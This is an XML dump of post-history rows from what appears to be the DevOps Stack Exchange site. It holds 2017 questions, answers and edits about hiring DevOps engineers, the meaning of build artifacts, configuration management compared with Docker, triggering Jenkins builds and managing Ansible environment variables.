  <row Id="1467" PostHistoryTypeId="2" PostId="468" RevisionGUID="4262f541-2ffe-4314-8864-3c8aae64e1cc" CreationDate="2017-03-10T15:55:00.940" UserId="655" Text="For a good developer we have rule 11 from the [Joel Test][1]:&#xD;&#xA;&#xD;&#xA;&gt;  Do new candidates write code during their interview?&#xD;&#xA;&#xD;&#xA; However I know little to nothing about docker containers, how to configure jenkins, AWS etc. What would be a good way to test if the person that applies can manage such tasks? &#xD;&#xA;&#xD;&#xA;Sub-questions: I believe that a good devops can configure the build chain once and it should work from then on out: Can I expect him to also be a developer in the company (DEVops)? As DevOps is a relative &quot;new&quot; job, is it for small companies maybe better to share the devops or hire him as a freelancer whenever you need him / her?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.joelonsoftware.com/2000/08/09/the-joel-test-12-steps-to-better-code/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1468" PostHistoryTypeId="1" PostId="468" RevisionGUID="4262f541-2ffe-4314-8864-3c8aae64e1cc" CreationDate="2017-03-10T15:55:00.940" UserId="655" Text="How do I hire a good DevOps, fitting my company?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1469" PostHistoryTypeId="3" PostId="468" RevisionGUID="4262f541-2ffe-4314-8864-3c8aae64e1cc" CreationDate="2017-03-10T15:55:00.940" UserId="655" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1470" PostHistoryTypeId="2" PostId="469" RevisionGUID="56548252-6e73-4039-b019-c8a7c5ca88c1" CreationDate="2017-03-10T15:55:47.993" UserId="13" Text="First of all, I strongly advise against &quot;feature comparisons&quot; blog post for similar software, they're quickly outdated and I'll try to keep this answer generic for a system configuration manager (SCM) and let docker out of the talk for the first part.  &#xD;&#xA;&#xD;&#xA;What it can brings you:&#xD;&#xA;&#xD;&#xA; - Reproduction of configuration from environment to environment&#xD;&#xA; - Versioning of the configuration&#xD;&#xA; - Enforcing the configuration&#xD;&#xA; &#xD;&#xA;To get a real life example for a PHP application you'll need: &#xD;&#xA;&#xD;&#xA; - an operating system&#xD;&#xA; - a webserver&#xD;&#xA; - php libs&#xD;&#xA; - configuration of your app for external services (smtp, database IP, etc.)&#xD;&#xA;&#xD;&#xA;What a SCM can provide is starting from a minimal base OS:&#xD;&#xA; &#xD;&#xA;  - taking care of installing the webserver (apache/nginx)&#xD;&#xA;  - installing PHP (either by package or source)&#xD;&#xA;  - installing the necessary libs&#xD;&#xA;  - Setting up your site config (vhost in apache)&#xD;&#xA;  - Setting up your php.ini with any tweaks needed&#xD;&#xA;  - deploying your app from a repository (from git to nexus, wide range of choice)&#xD;&#xA;  - Writing your application configuration (here can be the smtp or database server for this environment)&#xD;&#xA;  - Starting the webserver&#xD;&#xA;  - Eventually running some smoke tests on your app.&#xD;&#xA;&#xD;&#xA;Now if someone comes to connect to the machine and do a manual change to any of the configuration, the goal of a SCM is to keep the machine in its desired state, at next run, the change will be detected and the file changed will be put back to its desired state.&#xD;&#xA;&#xD;&#xA;This has the advantage of enforcing any change to be put in the desired state description and not be forget between environments. Usually chef or puppet are set up to run on a periodic schedule, default for Chef is 30 minutes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now the big difference with docker is that you will do the same thing, installing you middleware, libs, forcing a templatized configuration, etc.  &#xD;&#xA;Once in the runtime phase, if there's a breach in your app and an attacker use it to tweak your config or modifying your webserver configuration it can stay unnoticed for a while if it doesn't break the app.  &#xD;&#xA;&#xD;&#xA;A SCM will revert the changes if you use it properly it will even remove unwanted sites in the `sites-enabled` directory of apache and thus will raise the complexity for an attacker.&#xD;&#xA;&#xD;&#xA;Likewise if your webserer dies, the container will stop and unless you have a system to monitor it an relaunch it you're down. A SCM will notice the service is down and restart it.&#xD;&#xA;&#xD;&#xA;A SCM may be interesting even to create your docker containers, you know you'll have the same behavior on a centos or ubuntu machine (most community code handle using the proper package names if you go this way) and so it will remove problem of edit to package names in a dockerfile.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;The main idea behind a SCM is to manage your infrastructure as you manage your application, code it, version it, test it and be sure it will always behave the same.&#xD;&#xA;&#xD;&#xA;If you rely on human procedure for configuration of the middleware/libs/app config you can be sure there will be a step forget during the deploy process once in a while, and spotting this problem can be really hard. With a SCM you prevent this omission.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1471" PostHistoryTypeId="5" PostId="467" RevisionGUID="c4e6b2b0-cc36-4261-a589-3dfb4442dd33" CreationDate="2017-03-10T15:57:00.647" UserId="47" Comment="improved readability" Text="I suppose the answer may vary from place to place. Where I work at the moment an artifact is anything consumed by some other entity, except for the source code used for development - this goes into source control.&#xD;&#xA;&#xD;&#xA;This includes binaries of the product or other needed products, libraries, object files, test artifacts like media files or test data.&#xD;&#xA;&#xD;&#xA;Source code is not considered an artifact. Unless it matches the definition of &quot;consumed by&quot; - in our case including third party libraries, script code used for testing or other purposes (but not the development version itself)." ContentLicense="CC BY-SA 3.0" />
  <row Id="1472" PostHistoryTypeId="2" PostId="470" RevisionGUID="5117d133-eaad-43cd-b615-9b9e2be8eb07" CreationDate="2017-03-10T16:15:26.610" UserId="228" Text="Wikipedia has a very good answer to this question. [Artifact][1], sometimes also called [Derived Object][2], is a product of some *process applied* to the **Code Repository**. Originally they were called **Build Artifacts**, but as more processes were applied other than build to create them, the first word was simply dropped.&#xD;&#xA;&#xD;&#xA;The major distinction is that artifacts can be recreated from the code repository using the same process, providing you have preserved the environment in which the process was applied. As this process can be time consuming and the environment can be preserved imperfectly to be able to recreate the artifacts in the exact same way, we started to store them in **Artifact Repositories**.&#xD;&#xA;&#xD;&#xA;Storing them apart from **Code Repository** in an **Artifact Repository** is a design decision a DevOps engineer would make. Some companies, namely [Perforce][3], [suggest][4] to use their Code Repository as Artifact Repository as well. There are different requirements in terms of *access*, *auditing*, *object sizes*, *object tagging* and *scalability* on each repository and so depending on situation it is often better to use two distinct products. For example [Git][5] repositories are copied in their entirety to every development machine and so storing artifacts in the code repository would increase its size beyond all reason. Another decision to make is which artifacts to store. Some companies store even intermediate artifacts as individual object files, to speed re-builds, others store simply just the final binaries. Not all artifacts have the same value. Artifacts resulting from a release build could have different requirements than artifacts resulting from a developer build.&#xD;&#xA;&#xD;&#xA;Most common artifacts are results of the following processes: **Configuration**, **Preprocessing**, **Compilation**, **Linking**, **Automated Testing**, **Archiving**, **Packaging**, **Media files creation and processing**, **Data File Generation**, **Documentation Parsing**, **Code analyzing**, **QA**, etc.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Artifact_(software_development)&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Derived_object&#xD;&#xA;  [3]: http://perforce%20helix%20review&#xD;&#xA;  [4]: https://www.slideshare.net/perforce/how-to-combine-artifacts-and-source-in-a-single-server&#xD;&#xA;  [5]: https://git-scm.com" ContentLicense="CC BY-SA 3.0" />
  <row Id="1473" PostHistoryTypeId="2" PostId="471" RevisionGUID="678d7f07-56f2-4b6c-8982-55dd6f4805f9" CreationDate="2017-03-10T16:30:34.853" UserId="271" Text="There are two usages of the word “artefact” and one makes source code an artefact while the second makes it not being an artefact: this can indeed be quite confusing!&#xD;&#xA;&#xD;&#xA;**“artefact” as a concrete thing, vs. an ideal thing** – This meaning is the common meaning of the word “an object made by a human being, typically one of cultural or historical interest” and is not technical jargon. Here is an example in technical context: *When you debug a software, you learn something about the software. It is often a valuable investment to turn this learning into a software artefact, like a regression test. Otherwise this learning will be forgotten and the the effort made to acquire it will be wasted.* In this meaning, source code is considered an artefact.&#xD;&#xA;&#xD;&#xA;**“artefact” as something produced by a recipe** – This meaning uses the popular image of the alchemist using some esoteric recipe to produce a magical device, often called an artefact. It is technical jargon used to distinguish between the source code, which corresponds to the recipe in the alchemist's metaphor, and anything derived from that source code, which corresponds to an artefact in the alchemist's metaphor. For instance *I just automatised the artefact production for my plop-fizz program, now source tarballs, signature files, DEB and RPM packages can all be instantiated in just one command!*  This meaning does not recognise source code as an artefact, as the term is used to denote what is produced from this source code." ContentLicense="CC BY-SA 3.0" />
  <row Id="1474" PostHistoryTypeId="5" PostId="470" RevisionGUID="fcabe567-a07f-4d23-a39c-3515edd0fb58" CreationDate="2017-03-10T16:52:06.090" UserId="228" Comment="Fixed link; added 49 characters in body" Text="Wikipedia has a very good answer to this question. [Artifact][1], sometimes also called [Derived Object][2], is a product of some *process applied* to the **Code Repository**. Originally they were called **Build Artifacts**, but as more processes were applied other than build to create them, the first word was simply dropped.&#xD;&#xA;&#xD;&#xA;The major distinction is that artifacts can be recreated from the code repository using the same process, providing you have preserved the environment in which the process was applied. As this process can be time consuming and the environment can be preserved imperfectly to be able to recreate the artifacts in the exact same way, we started to store them in **Artifact Repositories**.&#xD;&#xA;&#xD;&#xA;Storing them apart from **Code Repository** in an **Artifact Repository** is a design decision a DevOps engineer would make. Some companies, namely [Perforce][3], [suggest][4] to use their Code Repository as Artifact Repository as well. There are different requirements in terms of *access*, *auditing*, *object sizes*, *object tagging* and *scalability* on each repository and so depending on situation it is often better to use two distinct products. For example [Git][5] repositories are copied in their entirety to every development machine and so storing artifacts in the code repository would increase its size beyond all reason, although lately there are ways to mitigate this. Another decision to make is which artifacts to store. Some companies store even intermediate artifacts as individual object files, to speed re-builds, others store simply just the final binaries. Not all artifacts have the same value. Artifacts resulting from a release build could have different requirements than artifacts resulting from a developer build.&#xD;&#xA;&#xD;&#xA;Most common artifacts are results of the following processes: **Configuration**, **Preprocessing**, **Compilation**, **Linking**, **Automated Testing**, **Archiving**, **Packaging**, **Media files creation and processing**, **Data File Generation**, **Documentation Parsing**, **Code analyzing**, **QA**, etc.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Artifact_(software_development)&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Derived_object&#xD;&#xA;  [3]: https://www.perforce.com/helix&#xD;&#xA;  [4]: https://www.slideshare.net/perforce/how-to-combine-artifacts-and-source-in-a-single-server&#xD;&#xA;  [5]: https://git-scm.com" ContentLicense="CC BY-SA 3.0" />
  <row Id="1475" PostHistoryTypeId="2" PostId="472" RevisionGUID="51417259-b088-4e5a-a95e-a0426419c0ef" CreationDate="2017-03-10T17:16:55.977" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1476" PostHistoryTypeId="1" PostId="472" RevisionGUID="51417259-b088-4e5a-a95e-a0426419c0ef" CreationDate="2017-03-10T17:16:55.977" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1477" PostHistoryTypeId="2" PostId="473" RevisionGUID="12389e80-5e0c-4006-a5e1-fc2aad7b42d4" CreationDate="2017-03-10T17:16:55.977" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1478" PostHistoryTypeId="1" PostId="473" RevisionGUID="12389e80-5e0c-4006-a5e1-fc2aad7b42d4" CreationDate="2017-03-10T17:16:55.977" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1479" PostHistoryTypeId="2" PostId="474" RevisionGUID="f244c448-7aa1-49bc-ae8e-9b83155c258f" CreationDate="2017-03-10T17:37:20.343" UserId="271" Text="It is a common misbelief that “DevOps” is a role in a company. The word merely denotes an organisational shift in software companies, this shift can be shortly described by the “[You build it, you run it!](https://www.safaribooksonline.com/library/view/programming-amazon-ec2/9781449303617/ch01s03.html)” coined by Werner Vogels: &#xD;&#xA;&#xD;&#xA;&gt; There is no need to distinguish between building and running, and according to Werner Vogels, it is much better than that:&#xD;&#xA;&#xD;&#xA;&gt; &gt; Giving developers operational responsibilities has greatly enhanced the quality of the services, both from a customer and a technology point of view. The traditional model is that you take your software to the wall that separates development and operations, and throw it over and then forget about it. Not at Amazon. You build it, you run it. This brings developers into contact with the day-to-day operation of their software. It also brings them into day-to-day contact with the customer. This customer feedback loop is essential for improving the quality of the service.&#xD;&#xA;&#xD;&#xA;&gt; This lesson is interesting, but this particular change in an organization is not always easy to implement.&#xD;&#xA;&#xD;&#xA;This shift is concomitant of an increasing importance of continuous integration and deliveries methods. Please note that these ideas are much older than the formalisation of “agile” methodologies, some of them are already present in the NATO Scientific Committee report about software engineering published in … 1968!&#xD;&#xA;&#xD;&#xA;While the wording can be overlooked, the short description of the DevOps proposal (this site) mentions “software engineers”:&#xD;&#xA;&#xD;&#xA;&gt; Beta Q&amp;A site for software Engineers working on automated testing, continuous delivery, service integration and monitoring, and building SDLC infrastructure.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;Now if you are looking for a software engineer that can help your team getting started with these methodologies, engage them on this topic. Even if you are not familiar with this topic, following the “You build it! You run it!” slogan you can start from a programming problem and lead the interview towards question about deployment and maintenance of the application." ContentLicense="CC BY-SA 3.0" />
  <row Id="1480" PostHistoryTypeId="5" PostId="466" RevisionGUID="ffa3b7f0-8941-4095-94fd-3c68972089eb" CreationDate="2017-03-10T18:44:26.193" UserId="40" Comment="added 124 characters in body; edited tags; edited title" Text="The question about &quot;http://devops.stackexchange.com/q/452/40&quot; contains an answer with an [interesting explanation][1] about the repository part of it.&#xD;&#xA;And from reading the entire answer, I am not sure what exactly an &quot;*artifact*&quot; means in the context of DevOps.&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;Ps 1: Hopefully the [lmgtfy](https://meta.stackexchange.com/tags/lmgtfy/info) - filter is enabled around here ...&#xD;&#xA;&#xD;&#xA;Ps 2: From one of the answers I seem to understand that maybe **artefact** is what I'm wondering (confused?) about ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/a/453/40" ContentLicense="CC BY-SA 3.0" />
  <row Id="1481" PostHistoryTypeId="4" PostId="466" RevisionGUID="ffa3b7f0-8941-4095-94fd-3c68972089eb" CreationDate="2017-03-10T18:44:26.193" UserId="40" Comment="added 124 characters in body; edited tags; edited title" Text="What is an artifact (or artefact)?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1482" PostHistoryTypeId="6" PostId="466" RevisionGUID="ffa3b7f0-8941-4095-94fd-3c68972089eb" CreationDate="2017-03-10T18:44:26.193" UserId="40" Comment="added 124 characters in body; edited tags; edited title" Text="&lt;terminology&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1483" PostHistoryTypeId="5" PostId="468" RevisionGUID="fa1e37dd-4f46-48a0-a99b-a82f541e230c" CreationDate="2017-03-10T18:56:43.680" UserId="655" Comment="origin of confusion" Text="For a good developer we have rule 11 from the [Joel Test][1]:&#xD;&#xA;&#xD;&#xA;&gt;  Do new candidates write code during their interview?&#xD;&#xA;&#xD;&#xA; However I know little to nothing about docker containers, how to configure jenkins, AWS etc. What would be a good way to test if the person that applies can manage such tasks? &#xD;&#xA;&#xD;&#xA;Sub-questions: I believe that a good devops can configure the build chain once and it should work from then on out: Can I expect him to also be a developer in the company (DEVops)? As DevOps is a relative &quot;new&quot; job, is it for small companies maybe better to share the devops or hire him as a freelancer whenever you need him / her?&#xD;&#xA;&#xD;&#xA;**edit**&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;Confusion about the term origins from job offers like this, even here on stackexchange.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.joelonsoftware.com/2000/08/09/the-joel-test-12-steps-to-better-code/&#xD;&#xA;  [2]: https://i.stack.imgur.com/omE6J.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="1484" PostHistoryTypeId="2" PostId="475" RevisionGUID="ae8a4392-e8a2-4dcd-bfa1-d5188a116881" CreationDate="2017-03-10T19:53:37.083" UserId="72" Text="&quot;Hiring a DevOps&quot; will be tough because DevOps isn't a role.  IF you can find an engineer with software development *and* engineering skills, you're on the right track..&#xD;&#xA;&#xD;&#xA;**However**,&#xD;&#xA;&#xD;&#xA;Your hiring process will be complicated by a few factors:&#xD;&#xA;&#xD;&#xA;1.  Site Reliability Engineers (Google's term for admin/engineers with coding skills) are rare&#xD;&#xA;2.  Rare skills are expensive&#xD;&#xA;3.  Rare skills are... rare.&#xD;&#xA;&#xD;&#xA;The good news is you may not need a fully qualified SRE.&#xD;&#xA;&#xD;&#xA;Your use case, as it were, is hiring engineers to establish your infrastructure (AWS) and automate deployments (Jenkins.)  Those skills are not all that rare, but you may have a challenge finding them in a single person.  &#xD;&#xA;&#xD;&#xA;You also mention that you yourself don't have those skills.  This is a further complicating factor.  You don't have the skills necessary to evaluate the skills of your candidates.  You must ultimately find a way to develop (or hire, as in an Engineering Manager) the skills needed to manage this type of resource." ContentLicense="CC BY-SA 3.0" />
  <row Id="1485" PostHistoryTypeId="5" PostId="469" RevisionGUID="f0e8d5fd-5a6a-40ea-99ed-dd2511df854d" CreationDate="2017-03-10T20:47:47.390" UserId="13" Comment="added 222 characters in body" Text="First of all, I strongly advise against &quot;feature comparisons&quot; blog post for similar software, they're quickly outdated and I'll try to keep this answer generic for a system configuration manager (SCM) and let docker out of the talk for the first part.  &#xD;&#xA;&#xD;&#xA;What it can brings you:&#xD;&#xA;&#xD;&#xA; - Reproduction of configuration from environment to environment&#xD;&#xA; - Versioning of the configuration&#xD;&#xA; - Enforcing the configuration&#xD;&#xA; &#xD;&#xA;To get a real life example for a PHP application you'll need: &#xD;&#xA;&#xD;&#xA; - an operating system&#xD;&#xA; - a webserver&#xD;&#xA; - php libs&#xD;&#xA; - configuration of your app for external services (smtp, database IP, etc.)&#xD;&#xA;&#xD;&#xA;What a SCM can provide is starting from a minimal base OS:&#xD;&#xA; &#xD;&#xA;  - taking care of installing the webserver (apache/nginx)&#xD;&#xA;  - installing PHP (either by package or source)&#xD;&#xA;  - installing the necessary libs&#xD;&#xA;  - Setting up your site config (vhost in apache)&#xD;&#xA;  - Setting up your php.ini with any tweaks needed&#xD;&#xA;  - deploying your app from a repository (from git to nexus, wide range of choice)&#xD;&#xA;  - Writing your application configuration (here can be the smtp or database server for this environment)&#xD;&#xA;  - Starting the webserver&#xD;&#xA;  - Eventually running some smoke tests on your app.&#xD;&#xA;&#xD;&#xA;Now if someone comes to connect to the machine and do a manual change to any of the configuration, the goal of a SCM is to keep the machine in its desired state, at next run, the change will be detected and the file changed will be put back to its desired state.&#xD;&#xA;&#xD;&#xA;This has the advantage of enforcing any change to be put in the desired state description and not be forget between environments. Usually chef or puppet are set up to run on a periodic schedule, default for Chef is 30 minutes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now the big difference with docker is that you will do the same thing, installing you middleware, libs, forcing a templatized configuration, etc.  &#xD;&#xA;Once in the runtime phase, if there's a breach in your app and an attacker use it to tweak your config or modifying your webserver configuration it can stay unnoticed for a while if it doesn't break the app.  &#xD;&#xA;&#xD;&#xA;A SCM will revert the changes if you use it properly it will even remove unwanted sites in the `sites-enabled` directory of apache and thus will raise the complexity for an attacker.&#xD;&#xA;&#xD;&#xA;Likewise if your webserer dies, the container will stop and unless you have a system to monitor it an relaunch it you're down. A SCM will notice the service is stopped and restart it at its next run, less immediate than runit but it will correct a rotate script which didn't properly restart the service (like the default apache logrotate conf on Ubuntu  which may time out and let your apache stopped)&#xD;&#xA;&#xD;&#xA;A SCM may be interesting even to create your docker containers, you know you'll have the same behavior on a centos or ubuntu machine (most community code handle using the proper package names if you go this way) and so it will remove problem of edit to package names in a dockerfile.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;The main idea behind a SCM is to manage your infrastructure as you manage your application, code it, version it, test it and be sure it will always behave the same.&#xD;&#xA;&#xD;&#xA;If you rely on human procedure for configuration of the middleware/libs/app config you can be sure there will be a step forget during the deploy process once in a while, and spotting this problem can be really hard. With a SCM you prevent this omission.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1486" PostHistoryTypeId="5" PostId="468" RevisionGUID="892b5c6c-874f-48ad-8a6d-8d6cfc443712" CreationDate="2017-03-10T21:16:12.550" UserId="40" Comment="added 99 characters in body" Text="For a good developer we have rule 11 from the [Joel Test][1]:&#xD;&#xA;&#xD;&#xA;&gt;  Do new candidates write code during their interview?&#xD;&#xA;&#xD;&#xA; However I know little to nothing about docker containers, how to configure jenkins, AWS etc. What would be a good way to test if the person that applies can manage such tasks? &#xD;&#xA;&#xD;&#xA;Sub-questions: I believe that a good devops can configure the build chain once and it should work from then on out: Can I expect him to also be a developer in the company (DEVops)? As DevOps is a relative &quot;new&quot; job, is it for small companies maybe better to share the devops or hire him as a freelancer whenever you need him / her?&#xD;&#xA;&#xD;&#xA;**edit**&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;Confusion about the term origins from job offers like this, even [here on stackexchange][3] (= link where above screenprint was taken from).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.joelonsoftware.com/2000/08/09/the-joel-test-12-steps-to-better-code/&#xD;&#xA;  [2]: https://i.stack.imgur.com/omE6J.png&#xD;&#xA;  [3]: http://stackoverflow.com/jobs/135988/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1487" PostHistoryTypeId="5" PostId="472" RevisionGUID="4c2757bf-3978-4b66-b36c-b5cae57048af" CreationDate="2017-03-10T22:23:41.350" UserId="47" Comment="added 1102 characters in body" Text="From Branching:&#xD;&#xA;&#xD;&#xA;&gt; Branching, in revision control and software configuration management,&#xD;&#xA;&gt; is the duplication of an object under revision control (such as a&#xD;&#xA;&gt; source code file or a directory tree) so that modifications can happen&#xD;&#xA;&gt; in parallel along both branches.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Branches are also known as trees, streams or codelines. The&#xD;&#xA;&gt; originating branch is sometimes called the parent branch, the upstream&#xD;&#xA;&gt; branch (or simply upstream, especially if the branches are maintained&#xD;&#xA;&gt; by different organizations or individuals), or the backing stream.&#xD;&#xA;&gt; Child branches are branches that have a parent; a branch without a&#xD;&#xA;&gt; parent is referred to as the trunk or the mainline.[1]&#xD;&#xA;&gt; &#xD;&#xA;&gt; ...&#xD;&#xA;&gt; &#xD;&#xA;&gt; Branching also generally implies the ability to later merge or&#xD;&#xA;&gt; integrate changes back onto the parent branch. Often the changes are&#xD;&#xA;&gt; merged back to the trunk, even if this is not the parent branch. A&#xD;&#xA;&gt; branch not intended to be merged (e.g. because it has been relicensed&#xD;&#xA;&gt; under an incompatible license by a third party, or it attempts to&#xD;&#xA;&gt; serve a different purpose) is usually called a fork." ContentLicense="CC BY-SA 3.0" />
  <row Id="1488" PostHistoryTypeId="24" PostId="472" RevisionGUID="4c2757bf-3978-4b66-b36c-b5cae57048af" CreationDate="2017-03-10T22:23:41.350" Comment="Proposed by 47 approved by 40, 13 edit id of 139" ContentLicense="CC BY-SA 3.0" />
  <row Id="1489" PostHistoryTypeId="5" PostId="457" RevisionGUID="e32fdb3f-0bf8-4ec3-aa07-2579ed9ecb29" CreationDate="2017-03-10T23:15:25.143" UserId="47" Comment="added relevant tag" Text="I am attempting to trigger a parameterized jenkins build from Bamboo, doing the below.&#xD;&#xA;&#xD;&#xA;POST - &#xD;&#xA;`http://jenkins-url.com/job/jobname/buildWithParameters?ENVIRONMENT=dev&amp;APPLICATION=hello-world`&#xD;&#xA;&#xD;&#xA;But I will get a 201 instantly which tells me that the build was created. How do I make this request wait and return the success status of the build instead of the fire and forget? &#xD;&#xA;&#xD;&#xA;It is apparently possible as per [Parameterized-Remote-Trigger-Plugin][1]:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/morficus/Parameterized-Remote-Trigger-Plugin&#xD;&#xA;  [2]: https://i.stack.imgur.com/lcoWp.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="1490" PostHistoryTypeId="6" PostId="457" RevisionGUID="e32fdb3f-0bf8-4ec3-aa07-2579ed9ecb29" CreationDate="2017-03-10T23:15:25.143" UserId="47" Comment="added relevant tag" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;bamboo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1491" PostHistoryTypeId="2" PostId="476" RevisionGUID="806fb307-a38b-4ca1-9bfa-f273ac3249f9" CreationDate="2017-03-10T23:42:19.743" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1492" PostHistoryTypeId="1" PostId="476" RevisionGUID="806fb307-a38b-4ca1-9bfa-f273ac3249f9" CreationDate="2017-03-10T23:42:19.743" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1493" PostHistoryTypeId="2" PostId="477" RevisionGUID="07ff2e76-f0c0-4cd3-9164-c7fd06216885" CreationDate="2017-03-10T23:42:19.743" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1494" PostHistoryTypeId="1" PostId="477" RevisionGUID="07ff2e76-f0c0-4cd3-9164-c7fd06216885" CreationDate="2017-03-10T23:42:19.743" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1495" PostHistoryTypeId="10" PostId="468" RevisionGUID="45285605-29c0-4b39-b487-f6dc9f40d713" CreationDate="2017-03-11T00:20:20.913" UserId="-1" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;},{&quot;Id&quot;:299,&quot;DisplayName&quot;:&quot;JonMark Perry&quot;},{&quot;Id&quot;:271,&quot;DisplayName&quot;:&quot;Michael Grünewald&quot;},{&quot;Id&quot;:228,&quot;DisplayName&quot;:&quot;Jiri Klouda&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;}]}" />
  <row Id="1496" PostHistoryTypeId="2" PostId="478" RevisionGUID="81523e04-f68b-437c-b358-cdd2c4fc1182" CreationDate="2017-03-11T10:42:02.757" UserId="27" Text="So here is your job role:&#xD;&#xA;&#xD;&#xA;- You help in designing common modules that allow other teams to easily deploy their code onto production. This includes Java code, dockerfiles, ansible modules, build pipeline configurations, etc.&#xD;&#xA;- You help promote DevOps practices for both other developer teams and the operation teams&#xD;&#xA;- You are partially responsible for the staging environments&#xD;&#xA;- You are responsible for investigating technologies that help the applications scale better and be more reliable&#xD;&#xA;&#xD;&#xA;How would you identify your team? How would you identify yourself? You know that you could cheat and include DevOps in your name, but [that would be wrong][1]. On the other hand you want to be more specific, so a simple Software Engineer won't cut it, especially since you want the &lt;strike&gt;annoying&lt;/strike&gt; recruiters to contact you for jobs related to this practice, not just because you like it, but because you know [the average salary is also higher][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/questions/468/how-do-i-hire-a-good-devops-fitting-my-company&#xD;&#xA;  [2]: http://stackoverflow.com/insights/survey/2016#work-salary" ContentLicense="CC BY-SA 3.0" />
  <row Id="1497" PostHistoryTypeId="1" PostId="478" RevisionGUID="81523e04-f68b-437c-b358-cdd2c4fc1182" CreationDate="2017-03-11T10:42:02.757" UserId="27" Text="How to identify yourself on a CV" ContentLicense="CC BY-SA 3.0" />
  <row Id="1498" PostHistoryTypeId="3" PostId="478" RevisionGUID="81523e04-f68b-437c-b358-cdd2c4fc1182" CreationDate="2017-03-11T10:42:02.757" UserId="27" Text="&lt;job-role&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1499" PostHistoryTypeId="2" PostId="479" RevisionGUID="d64e598d-81c4-4538-84f1-f51daee110ec" CreationDate="2017-03-11T11:45:10.697" UserId="143" Text="Righto, this is a very broad question but ultimately I'm looking for answers for the very specific question of `how should I store my environment variables?`&#xD;&#xA;&#xD;&#xA;Firstly just some clarification points:&#xD;&#xA; &#xD;&#xA; - An environment to me can be from 3 - 10 servers and are a way of containing a specific customer's infrastructure.&#xD;&#xA; - Inside each environment there's a few variables which are mostly automatically generated from a few key inputs (name, size etc)&#xD;&#xA;&#xD;&#xA;As it stands right now we're containing all of our environment variables in a structure like so:&#xD;&#xA;&#xD;&#xA;    &lt;playbook&gt;.yml                   # Various playbooks for deployment&#xD;&#xA;    roles/windows                    # Ansible role for Ubuntu&#xD;&#xA;    roles/ubuntu                     # Ansible role for Ubuntu&#xD;&#xA;    config/hosts/&lt;name&gt;.yml          # Ansible inventory&#xD;&#xA;    config/hosts/vars/&lt;name&gt;.json    # Environment specific variables &#xD;&#xA;&#xD;&#xA;Right now the config is initialised as a submodule in the git repository above. As the variables file changes rather frequently this has caused issues with the data changing, once, twice or even three times between commits making changes increasingly difficult to trace.&#xD;&#xA;&#xD;&#xA;As I personally see it going forward we should be looking to store all our customer variables in a centralised / scalable way and then hook into it with a dynamic inventory with Ansible.&#xD;&#xA;&#xD;&#xA;I understand it there are a few technologies which seem to do a part of what could be required such as Consul but they seem to work best in an environment which serves one big application rather than lots of smaller slightly differing one.&#xD;&#xA;&#xD;&#xA;I essentially see us having to write an inventory script and then just shove all of our data into some not-for-purpose built database and then keep going on as if nothing changed. I see this conceivably as a way to potentially trim down on a lot of the data we currently store and perhaps look into different ways of storing the data rather than just scaling up what serves it again.&#xD;&#xA;&#xD;&#xA;I'm hoping some of you out there have some kind of experience in implement infrastructure as code when having to deal with lots of smaller environments as opposed to one, two or three huge ones.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1500" PostHistoryTypeId="1" PostId="479" RevisionGUID="d64e598d-81c4-4538-84f1-f51daee110ec" CreationDate="2017-03-11T11:45:10.697" UserId="143" Text="Environment variables / structure, methods and advice" ContentLicense="CC BY-SA 3.0" />
